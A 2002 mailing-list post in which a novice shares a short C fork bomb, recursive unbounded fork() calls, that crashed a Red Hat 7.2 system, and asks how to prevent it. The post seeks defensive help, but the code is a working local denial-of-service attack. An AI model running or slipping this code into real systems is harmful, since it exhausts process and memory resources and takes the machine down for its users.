fork() DoS?

From: Little, John (JOHN.LITTLE@okdhs.org)
Date: Fri Mar 22 2002 - 10:16:00 EST

I'm really not a programmer, just learning, but was able to bring the system
to it's knees. This is a redhat 7.2 kernel. Is there anyway of preventing
this?

#include <unistd.h>

void do_fork()
{
   pid_t p;

   p = fork();
   do_fork();
}

void main()
{
   for(;;)
      do_fork();
}

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